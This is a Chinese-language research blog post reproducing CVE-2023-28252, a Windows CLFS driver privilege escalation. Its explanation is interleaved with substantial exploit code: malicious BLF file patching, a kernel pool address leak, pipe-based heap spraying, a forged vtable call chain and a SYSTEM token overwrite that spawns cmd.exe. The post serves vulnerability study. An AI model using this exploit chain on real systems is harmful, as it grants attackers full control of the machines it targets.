挺久没有复现过漏洞了,在自己github仓库翻到了这个感觉挺有意思的
公众号:https://mp.weixin.qq.com/s/QgsGTgq-V7zxq3_oGdjdGA
或许我们的公众号会有更多你感兴趣的内容
MSRC漏洞描述[1]
环境是Windows 22H2 的,和我之前分析 CVE-2023-21768 使用的同款环境
相关 PoC:https://github.com/Joe1sn/CVE_2023_28252/
CLFS 基础
通用日志文件系统(CLFS)是用户模式或内核模式中运行的软件 客户端 使用的常规用途日志记录服务。[2]
根据 [3] [4] 日志文件有如下格式
Control Block 和 Control Block Shadow
两个几乎一样,在这里也不重要
Base (Shadow) Block
这个是漏洞利用相关的结构体
基础记录包含与基础日志文件关联的客户端 和容器 的信息,以及它们相关的上下文。此外,每个容器的共享安全上下文也存储在此处。最后,还包含一些状态信息。
该信息存储在称为符号的数据结构以及记录开头标题中的字段的组合中。
客户端上下文、容器上下文和共享安全上下文由符号(Symbol)表示
加载到内存后
CLFS 基本日志文件一旦加载到内存中,便由一个CClfsBaseFile类表示,该类还可以通过扩展进一步扩展CClfsBaseFilePersisted
m_rgBlocks在其中的偏移是0x30
那么m_rgBlocks数组大小是多少呢?
在调用Ring3 API CreateLogFile后,进入CClfsBaseFilePersisted::ReadImage阶段,申请这块内存
为什么是0x90?
m_rgBlocks每一个元素是_CLFS_METADATA_BLOCK,大小是0x18,前文提过blf文件一共仅有6个block,所以 0x18*6=0x90
如果使用匿名管道的喷射那么写入的大小应该是 0x90-0x30=0x60
静态审计
如果单纯是为了复现、研究这个漏洞,关键WinApi只有两个CreateLogFile和AddLogContainer
logFile = CreateLogFile(stored_name_CreateLog, GENERIC_READ | GENERIC_WRITE, 1 , 0 , 4 , 0 ); ULONGLONG cbContainer = 1024 * 1024 ; if (!AddLogContainer(logFile, &cbContainer, nullptr, nullptr)) { CloseHandle(hLog); return ; }
和创建普通的文件很类似
AddLogContainer
对于AddLogContainer ,进入驱动路径:
出发漏洞是的stack如下
CClfsRequest::AllocContainer+0x22a -> CClfsLogFcbPhysical::AllocContainer+0x14a -> CClfsBaseFilePersisted::AddContainer+0xdc -> CClfsBaseFilePersisted::AddSymbol+0x10d -> CClfsBaseFilePersisted::ExtendMetadataBlock+0x3fd -> CClfsBaseFilePersisted::WriteMetadataBlock+0x62
目前可以简单理解 v5就是我们伪造的一个恶意的、触发越界的恶意blf文件中的 ControlBlockShadow
在WriteMetadataBlock中,会拿到我们构造堆喷射的伪造对象,然后自增1,会反复调用4次
CreateLogFile
对于CreateLogFile ,进入驱动路径:DriveEntry到Dispatch就不说了,直接ida中疯狂x就能看到
CClfsRequest::Create+0x2dc ->CClfsLogFcbPhysical::Initialize+0x172 ->CClfsLogFcbPhysical::CheckSecureAccess+0x1f ->CClfsBaseFilePersisted::CheckSecureAccess+0x121 ->CClfsLogFcbPhysical::CheckSecureAccess+0x1f //虚函数调用 *(*(this + 0x4B) + 0x190LL) ->Symbol = CClfsBaseFile::GetSymbol(this, n0x1368, n0x400, &pContainerContext); ->pContainer = pContainerContext->pContainer; ->(**pContainer)(pContainer); | ClfsEarlierLsn ->(*(*pContainer_2 + 8LL))(pContainer_2); | QueryContainerSecurity 失败后,PoFxProcessorNotification
具体的调用后续就知道了,大致的攻击路径是这样的
GetSymbol的算法
typedef struct _CLFS_BASE_RECORD_HEADER { CLFS_LOG_BLOCK_HEADER hdr; CLFS_LOG_ID cidLog; CLFSHASHTBL rgClientSymTbl; CLFSHASHTBL rgContainerSymTbl; CLFSHASHTBL rgSecuritySymTbl; ULONG cNextContainer; ULONG cNextClient; ULONG cFreeContainers; ULONG cActiveContainers; ULONG cbFreeContainers; ULONG cbBusyContainers; CLFS_CLIENT_CONTEXT rgClients[124 ]; CLFS_CONTAINER_CONTEXT rgContainers[1024 ]; ULONG cbSymbolZone; ULONG cbSector; ULONG eLogState; ULONG cClients; } CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;
从_CLFS_BASE_RECORD_HEADER(_CLFS_BASE_HEADER +70)的地址开始算起,加上BaseLogRecord->rgContainers[0]的值即可,例如后面攻击
之前对 BaseLogRecord->rgContainers[0] 的位置新增了4次+1,从0x1458变为0x1858,所以ContainerContext的地址
ffffcd0c`f58c6000 +70(Block Header的大小) +0x1858(BaseLogRecord->rgContainers[0])的值 = ffffcd0c`f58c78c8
这里刚好是我们埋伏的恶意CLFS_CONTAINER_CONTEXT
动态分析
1. 基础准备
首先获得一系列函数的地址,便于后面伪造和使用。并且获得一个便须后续泄露的值
inline ULONG_PTR fnClfsEarlierLsn;inline ULONG_PTR fnPoFxProcessorNotification;inline ULONG_PTR fnClfsMgmtDeregisterManagedClient;inline ULONG_PTR para_PipeAttributeobjInkernel;inline ULONG_PTR fnSeSetAccessStateGenericMapping;inline pairPipe g_VictimPipes;inline PNtQuerySystemInformation fnNtQuerySystemInformation;inline PNtFsControlFile NtFsControlFile;
getVirtualFunction ();getVirtualAddress ();
2. 创建BLF日志文件
然后创建一个标准的 LogFile 并记录 Log路径名称和文件名称以及路径
tFileName = RandomUIntWString (100 , 1000 ); tFilePath = L"C:\\Users\\Public\\" + tFileName; tLogFilePath = L"LOG:" + tFilePath; tContainerPath = L"C:\\Users\\Public\\.p_" + tFileName; tFilePath += L".blf" ; HANDLE hTFile = CreateLogFile (tLogFilePath.c_str (), GENERIC_READ | GENERIC_WRITE, 1 , 0 , 4 , 0 ); if (hTFile == INVALID_HANDLE_VALUE) { DWORD error = GetLastError (); std::cout << "[x] Create log file failed: " << std::hex << error << std::dec << "\n" ; exit (-1 ); } std::wcout << "[+] Filename: " << tFileName << "\n" << "[+] FilePath: " << tFilePath << "\n" << "[+] LOG FilePath: " << tLogFilePath << "\n" ; CloseHandle (hTFile);
3. 修改为恶意日志文件
之后修改这个BLF模板并进行crc32值的修复
craftTriggerFile (tFilePath);std::cout << "[+] Fix new content log file crc32 value\n" ; fixCRCFile (tFilePath);
具体修改
const char RecordOffset12[] = { 0x69 , 0x03 }; const char data1[] = { 0xa0 , 0x15 };const char data2[] = { 0x70 , 0x15 };const char data3[] = { 0x08 , 0xf0 , 0xfd , 0xc1 };const char data4[] = { 0x30 , 0x00 }; const char data5[] = { 0x00 , 0x00 , 0x00 , 0x05 };const char data6[] = { 0x58 , 0x18 };const char data7[] = { 0x88 , 0x18 };
其中主要的是 RecordOffset12
const char RecordOffset12[] = { 0x69 , 0x03 }; fs.seekp (0x858 ); fs.write (RecordOffset12, sizeof (RecordOffset12)); fs.seekp (0x8258 ); fs.write (RecordOffset12, sizeof (RecordOffset12));
在_CLFS_LOG_BLOCK_HEADER中,原来是从0x00开始计算头,但是后续利用越界使用将头从+0x30开始计算,所以原来是添加RecordOffsets[0]=0x70找到记录,但是现在成了我们伪造的0x369找到记录
00000000 struct _CLFS_LOG_BLOCK_HEADER // sizeof =0x70 00000000 { 00000000 UCHAR MajorVersion;00000001 UCHAR MinorVersion;00000002 UCHAR Usn;00000003 CLFS_CLIENT_ID ClientId;00000004 USHORT TotalSectorCount;00000006 USHORT ValidSectorCount;00000008 ULONG Padding;0000000 C ULONG Checksum;00000010 ULONG Flags;00000014 00000015 00000016 00000017 00000018 CLFS_LSN CurrentLsn;00000020 CLFS_LSN NextLsn;00000028 ULONG RecordOffsets[16 ];00000068 ULONG SignaturesOffset;0000006 C 0000006 D 0000006 E 0000006F 00000070 };
显而易见还有一个重要的点是data5
const char data5[] = { 0x00 , 0x00 , 0x00 , 0x05 }; fs.seekp (0x20e0 ); fs.write (data5, sizeof (data5)); fs.seekp (0x1df8 ); fs.write (data5, sizeof (data5)); fs.seekp (0x97f8 ); fs.write (data5, sizeof (data5));
对于一个container,这里相当于伪造了一个_CLFS_CONTAINER_CONTEXT结构体,并将其真正的、带有虚函数的_CClfsContainer设置在了我们能控制的地址
00000000 struct _CLFS_CONTAINER_CONTEXT 00000000 { 00000000 CLFS_NODE_ID cidNode;00000008 ULONGLONG cbContainer;00000010 CLFS_CONTAINER_ID cidContainer;00000014 CLFS_CONTAINER_ID cidQueue;00000018 struct _CClfsContainer *pContainer;00000020 CLFS_USN usnCurrent;00000028 CLFS_CONTAINER_STATE eState;0000002 C ULONG cbPrevOffset;00000030 ULONG cbNextOffset;00000034 00000035 00000036 00000037 00000038 };
回忆一下静态审计的触发过程:
AddLogContainer利用CLFS_CONTROL_RECORD.iFlushBlock的溢出,得到一个喷射伪造堆的CLFS_METADATA_BLOCK,然后再取pbImage到伪造的地址CLFS_LOG_BLOCK_HEADER,这里被设置为了第一个TriggerLogFile的CLFS_kernelAddrArray + 0x30的位置
UINT64 arrayCLFSkernelAddress[12 ] = { 0 }; for (size_t i = 0 ; i < 12 ; i++) arrayCLFSkernelAddress[i] = CLFS_kernelAddrArray + 0x30 ;
然后利用WriteMetadataBlock堆虚构的record加RecordOffset12的值
fake_Block_Header + fake_Block_Header.RecordOffsets[0] = real_Block_Header + 0x30 + 0x369 = real_Block_Header + 0x399 = real_Block_Header + 0x70 + 0x328 + 1 = real_CLFS_BASE_RECORD_HEADER + &real_CLFS_BASE_RECORD_HEADER.rgContainers[0] + 1 = real_CLFS_BASE_RECORD_HEADER.rgContainers[0]+0x100
然后这个过程会重复4次,参考静态分析中的CreateLogFile部分,导致真正的container跑偏
ffffcd0c`f58c6000 +70(BaseLogHeader的大小) +0x1858(BaseLogRecord->rgContainers[0]的值) = ffffcd0c`f58c78c8
然后 pContainer 在 _CLFS_CONTAINER_CONTEXT 中偏移又是0x18,下面以Base Log Block举例
Contron_Block_size + Contron_Block_Shadow_size = 0x800 = Base_Block Base_Block + Block_Header_size + Fake_Container_Offset + pContainer_Offset = 0x800 + 0x70 + 0x1858 + 0x18 = 0x20e0
所以会在文件0x20e0的地方写上伪造的Container
4. 泄露Base Block地址并启用Container
这里是为了拿到 TriggerFile 的Base Block在内存中0x7A00大小的文件,从而能够定位到我们在3中构造的恶意数据
泄露的方法依旧是使用NtQuerySystemInformation,根据[]中的描述
第一次调用 ntQuery 会返回0xC0000004错误,但是会返回正确的大小;第二次调用就是真正的信息了
unsigned long long ulFindKernelPoolAddress (ULONG targetTag, SIZE_T targetSize, PUINT64 outAddresses, ULONG maxCount) { ULONG retlen = 0 ; ULONG foundCount = 0 ; NTSTATUS status; HMODULE ntdll = GetModuleHandle (TEXT ("ntdll" )); PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress (ntdll, "NtQuerySystemInformation" ); if (NtQuerySystemInformation == NULL ) { printf ("[!] GetProcAddress() failed.\n" ); return 0 ; } ULONG bufferSize = 0x1000 ; PVOID buffer = VirtualAlloc (NULL , bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!buffer) return 0 ; while (1 ) { status = NtQuerySystemInformation ((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, buffer, bufferSize, &retlen); if (status == 0xC0000004 ) { VirtualFree (buffer, 0 , MEM_RELEASE); bufferSize = retlen + 0x1000 ; buffer = VirtualAlloc (NULL , bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!buffer) return 0 ; } else if (NT_SUCCESS (status)) { break ; } else { VirtualFree (buffer, 0 , MEM_RELEASE); return 0 ; } } PSYSTEM_BIGPOOL_INFORMATION pBigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION)buffer; for (int i = pBigPoolInfo->Count - 1 ; i >= 0 ; --i) { PSYSTEM_BIGPOOL_ENTRY entry = &pBigPoolInfo->AllocatedInfo[i]; if (targetSize != 0 && entry->SizeInBytes != targetSize) continue ; if (entry->TagUlong != targetTag) continue ; UINT64 realAddress = (UINT64)entry->VirtualAddress & 0xFFFFFFFFFFFFFFFE ; if (foundCount < maxCount && outAddresses) { outAddresses[foundCount] = realAddress; } foundCount++; } VirtualFree (buffer, 0 , MEM_RELEASE); return foundCount; }
两次调用ulFindKernelPoolAddress中间穿插一次CreateLogFile然后对比数据就可以知道Base Block的内核堆地址了
UINT64 foundAddrs[100 ] = {}; ULONG_PTR CLFS_kernelAddrArray; auto count = exploit::memtools::ulFindKernelPoolAddress (ClfsTagName, BaseBlockSize, foundAddrs, 100 ); std::unordered_set<UINT64> oldSet (foundAddrs, foundAddrs + count) ; hTFile = CreateLogFile (tLogFilePath.c_str (), 0xC0010000 , FILE_SHARE_READ, 0 , 3 , 0 ); count = exploit::memtools::ulFindKernelPoolAddress (ClfsTagName, BaseBlockSize, foundAddrs, 100 ); std::unordered_set<UINT64> newSet (foundAddrs, foundAddrs + count) ; int newChunkCount = 0 ; for (UINT64 addr : newSet) { if (oldSet.find (addr) == oldSet.end ()) { CLFS_kernelAddrArray = addr; newChunkCount++; } } if (newChunkCount == 1 ) { printf ("[+] Found new trigger blf chunk: 0x%p, with tag: %X, size: 0x%X\n" , (void *)CLFS_kernelAddrArray, ClfsTagName, BaseBlockSize); }
最后启用container,不然后续的利用会失败(参见 静态审计-AddLogContainer 部分)
5. 创建iFlush溢出文件
通过这里的溢出文件(SprayFile,但我喜欢叫oobFile)攻击到TriggerFile
std::vector<HANDLE> oobFile; std::vector<std::wstring> oobFileName; std::vector<std::wstring> oobFilePath; std::vector<std::wstring> oobLogPath; std::vector<std::wstring> oobContainerPath; for (size_t i = 0 ; i < 10 ; i++){ auto temp_fileName = tFileName + L"_" + RandomUIntWString (100 , 1000 ); auto temp_filePath = L"C:\\Users\\Public\\" + temp_fileName; auto temp_logFilePath = L"LOG:" + temp_filePath; auto temp_containerPath = L"C:\\Users\\Public\\.p_" + temp_fileName; temp_filePath += L".blf" ; oobFileName.push_back (temp_fileName); oobFilePath.push_back (temp_filePath); oobLogPath.push_back (temp_logFilePath); oobContainerPath.push_back (temp_containerPath); } auto sprayFile_0 = CreateLogFile (oobLogPath[0 ].c_str (), GENERIC_READ | GENERIC_WRITE, 1 , 0 , OPEN_ALWAYS, 0 );if (sprayFile_0 == INVALID_HANDLE_VALUE) { DWORD error = GetLastError (); printf ("Could not create LOGfile2, error: 0x%x\n" , (unsigned int )error); exit (-1 ); } CloseHandle (sprayFile_0);for (int i = 1 ; i < oobFilePath.size (); i++){ int resul = CopyFileW (oobFilePath[0 ].c_str (), oobFilePath[i].c_str (), TRUE); if (resul == 0 ) { DWORD error = GetLastError (); printf ("copy error: 0x%x\n" , (unsigned int )error); exit (-1 ); } craftSprayFile (oobFilePath[i]); fixCRCFile (oobFilePath[i]); }
其中craftSprayFile的关键就是修改iFlushBlock2
const char iFlushBlock2[] = { 0x13 , 0x00 };fs.seekp (0x48A ); fs.write (iFlushBlock2, sizeof (iFlushBlock2));
6. 堆喷
我们知道在CreateLogFile时,ReadImage 会创建一个0x90大小的内存来存放m_rgBlocks(参见 CLFS基础-加载到内存后 部分),为了使最后的索引溢出能到我们指定的地址,这里使用匿名管道进行堆喷
HANDLE _hthread = GetCurrentThread (); SetThreadAffinityMask (_hthread, 1 );UINT64 arrayCLFSkernelAddress[12 ] = { 0 }; for (size_t i = 0 ; i < 12 ; i++) arrayCLFSkernelAddress[i] = CLFS_kernelAddrArray + 0x30 ; std::vector<pairPipe> pipesA, pipesB; for (size_t i = 0 ; i < 0x5000 ; i++){ pairPipe temp = {}; if (!CreatePipe (&temp.r, &temp.w, 0 , 0x25C0 )) { std::cout << "[!] created pipe: " << i << " failed\n" ; continue ; } pipesA.push_back (temp); } for (size_t i = 0 ; i < 0x4000 ; i++){ pairPipe temp = {}; if (!CreatePipe (&temp.r, &temp.w, 0 , 0x25C0 )) { std::cout << "[!] created pipe: " << i << " failed\n" ; continue ; } pipesB.push_back (temp); } DWORD byteswritten; for (size_t i = 0 ; i < 0x5000 ; i++){ if (!WriteFile (pipesA[i].w, arrayCLFSkernelAddress, 0x60 , &byteswritten, 0 )) { std::cout << "[!] Grooming pool failed\n" ; exit (1 ); } } for (size_t i = 1 ; i < 0x666 ; i++){ if (i % 10 == 0 ) { CloseHandle (pipesA[i].r); CloseHandle (pipesA[i].w); pipesA[i] = {}; } }
此时的内存示意如下图
此时如果使用CreateLogFile将oobFile加载进内存,ReadImage就会分配 0x90+0x10(Pool Head)的Chunk来填充这些缝隙,并且相邻的NpFr中的数据都是我们可控的,可以指向伪造的MetaData_Block
for (size_t i = 0 ; i < 10 ; i++){ auto tempHandle = CreateLogFile (oobLogPath[i].c_str (), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0 , OPEN_ALWAYS, 0 ); oobFile.push_back (tempHandle); } for (size_t i = 0 ; i < 0x4000 ; i++){ if (!WriteFile (pipesB[i].w, arrayCLFSkernelAddress, 0x60 , &byteswritten, 0 )) { std::cout << "[!] Grooming pool failed\n" ; exit (1 ); } }
7. 攻击前准备
泄露System Eprocess中的Token的位置
ULONG_PTR system_EPROCESS; exploit::memtools::bFindHandleObject (4 , 4 , (ULONG_PTR)&system_EPROCESS); printf ("[+]System EPROCESS addr: %p\n" , system_EPROCESS);auto system_EPROCESS_high = system_EPROCESS & 0xfffffffffffff000 ;auto offset = (unsigned int )(system_EPROCESS & 0xfff ) + exploit::gadget::X_22621_1105::tokenToEporcessOffset;std::cout << "[+] offset = 0x" << std::hex << offset << std::dec << "\n" ;
开始填充伪造结构体
首先将0x5000000伪造 Container 的地方开辟出来,这里后面真正攻击的时候在讲
LONGLONG pcbContainer2 = 512 ; if (!VirtualAlloc ((LPVOID)0x5000000 , 0x100000 , 0x3000 , 4 )) { printf ("[x] Failed to allocate memory 0x5000000\n" ); return ; } if (!VirtualAlloc ((LPVOID)0xffffffff , 0x10000 , 0x3000 , 4 )){ printf ("[x] Failed to allocate memory 0xffffffff\n" ); return ; } UINT64 dest3 = 0x100000007 ; UINT64 dest2 = 0xffffffff ; memset ((LPVOID)dest3, 0 , 0xff8 );*(UINT64*)dest2 = system_EPROCESS_high; *(UINT64*)dest3 = 0x414141414141005A ;
8. 开始攻击
8.1 泄露 System Token
由于不知道10个oobFile哪一个是落在了之前6.堆喷留下的空洞中的,所以需要挨个尝试
AddLogContainer (oobFile[i], (PULONGLONG)&pcbContainer2, (LPWSTR)oobContainerPath[i].c_str (), 0 );
首先是触发漏洞修改 m_rgBlocks的溢出
然后按照ida中取溢出的算法
typedef struct _CLFS_METADATA_BLOCK { UCHAR* pbImage; ULONG cbImage; ULONG cbOffset; CLFS_METADATA_BLOCK_TYPE eBlockType; } CLFS_METADATA_BLOCK, * PCLFS_METADATA_BLOCK;
this->m_rgBlocks[0x13] = ffffdc85`3dab02d8 = CLFS_METADATA_BLOCK fake_MetaData_Block fake_MetaData_Block.pbImage = ffffca80`4eae7030 = BaseLogBlock+0x30
原本应该是
0: kd> dq ffffca80`4eae7000+70 L1 ffffca80`4eae7070 00000000`00000005 变为 ffffca80`4eae7070 00000000`00000006
但是现在是
0: kd> dq ffffca80`4eae7030 + 00000000`00000369 L1 ffffca80`4eae7399 00000000`00000014 变为 ffffca80`4eae7399 00000000`00000015
并且这里按照对齐应该是(见 静态审计-AddLogContainer 部分)
Real_Base_Log_start + Real_Base_Log_Header + BASE_RECORD_HEADER.rgContainers[0] = ffffca80`4eae7000 + 0x70 + 0x328 = Fake_Base_Log_start + Fake_Base_Log_Header.RecordOffsets = ffffca80`4eae7030 + 0x368 0: kd> dq ffffca80`4eae7000 + 0x70 + 0x328 ffffca80`4eae7398 00000000`00001458 00000000`00000000 ffffca80`4eae73a8 00000000`00000000 00000000`00000000
并且要重复四次,等效于
*ffffca80`4eae7398 += 0x400
目前知识修改了CLFS_BASE_RECORD_HEADER.rgContainers[0]的大小,后面使用CreateLogFile触发Container错误
auto handle = CreateLogFile ( tLogFilePath.c_str (), GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0 , OPEN_EXISTING, 0 );
根据 静态分析-CreateLogFile 部分进入CheckSecureAccess+0x121
我重启了下windbg,现在的 Base Log Header变ffffca80521e7000,那么
+0x00 ffffca80521e7000 CLFS_LOG_BLOCK_HEADER +0x70 ffffca80521e7070 CLFS_BASE_RECORD_HEADER +0x398 ffffca80521e7398 rgContainers[0],CLFS_CONTAINER_CONTEXT
根据GetSymbol算法,此时
pContainerContext = &BaseLogRecord + BaseLogRecord->rgContainers[0] = (0xffffca80521e7000+0x70) +0x1858 = 0xffffca80521e88c8
如果执行pContainer_1 = pContainerContext->pContainer;,那么pContainer_1 = 0x05000000
下面就是我认为整个exp最nb的地方,构建虚函数表并进行利用
此处我们布置的payload
*(UINT64*)0x5000000 = 0x5001000 ; *(UINT64*)0x5000040 = 0x5000000 ; *(UINT64*)0x5000048 = 0x5000400 ; *(UINT64*)0x5000068 = fnClfsMgmtDeregisterManagedClient; *(UINT64*)0x5000400 = 0x5001300 ; *(UINT64*)0x5000448 = para_PipeAttributeobjInkernel + 0x18 ; *(UINT64*)0x5001000 = fnClfsEarlierLsn; *(UINT64*)0x5001008 = fnPoFxProcessorNotification; *(UINT64*)0x5001010 = fnClfsEarlierLsn; *(UINT64*)0x5001018 = fnClfsEarlierLsn; *(UINT64*)0x5001020 = fnClfsEarlierLsn; *(UINT64*)0x5001028 = fnClfsEarlierLsn; *(UINT64*)0x5001030 = fnClfsEarlierLsn; *(UINT64*)0x5001038 = fnClfsEarlierLsn; *(UINT64*)0x5001040 = fnClfsEarlierLsn; *(UINT64*)0x5001328 = fnClfsEarlierLsn; *(UINT64*)0x5001308 = fnSeSetAccessStateGenericMapping;
那么在CClfsBaseFilePersisted::CheckSecureAccess中我们的虚函数调用如下
关于ClfsEarlierLsn,主要是将rdx=0x0FFFFFFFF
关于fnPoFxProcessorNotification,该函数位于ntoskrnl.exe,再次调用附近的虚函数ClfsMgmtDeregisterManagedClient
关于ClfsMgmtDeregisterManagedClient
关于SeSetAccessStateGenericMapping
通过这种复杂的调用链,让我们有了一次任意地址写的机会,并且我们在 7.攻击前准备 部分让 0x0FFFFFFF 存放 System Token的地址,然后在0x5000448存放一个泄露的匿名管道的地址,这样我们只需要读取这个管道的内容就可以获得任意地址读了
8.2 覆写自身Token完成提权
交换上面构造的位置就行了
ULONG_PTR selfEProcessAddr; HANDLE hProc = OpenProcess (PROCESS_QUERY_INFORMATION, 0 , GetCurrentProcessId ()); exploit::memtools::bFindHandleObject (GetCurrentProcessId (), (ULONG_PTR)hProc, (ULONG_PTR)(&selfEProcessAddr)); printf ("[+] PoC Eprocess Address: 0x%p\n" , selfEProcessAddr);*(UINT64*)0xFFFFFFFF = *(UINT64*)(offset + (UINT64)temp_chunk); *(UINT64*)0x100000007 = systemTokenValue; *(UINT64*)0x5000448 = selfEProcessAddr + exploit::gadget::X_22621_1105::tokenToEporcessOffset - 8 ; CreateLogFile (tLogFilePath.c_str (), GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0 , OPEN_EXISTING, 0 );system ("cmd.exe" );
下面这一步不必要,清除修改,提升exp稳定性
std::cout << "[+] Now fix to orign\n" ; *(UINT64*)0xFFFFFFFF = 0x1458 ; *(UINT64*)0x100000007 = 0164 ; *(UINT64*)0x5000448 = CLFS_kernelAddrArray + 0x390 ; CreateLogFile (tLogFilePath.c_str (), GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, 0 , OPEN_EXISTING, 0 );
引用
[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28252
[2] https://learn.microsoft.com/zh-cn/windows-hardware/drivers/kernel/introduction-to-the-common-log-file-system
[3] https://github.com/ionescu007/clfs-docs
[4] https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part
[5] https://github.com/fortra/CVE-2023-28252
[6] https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part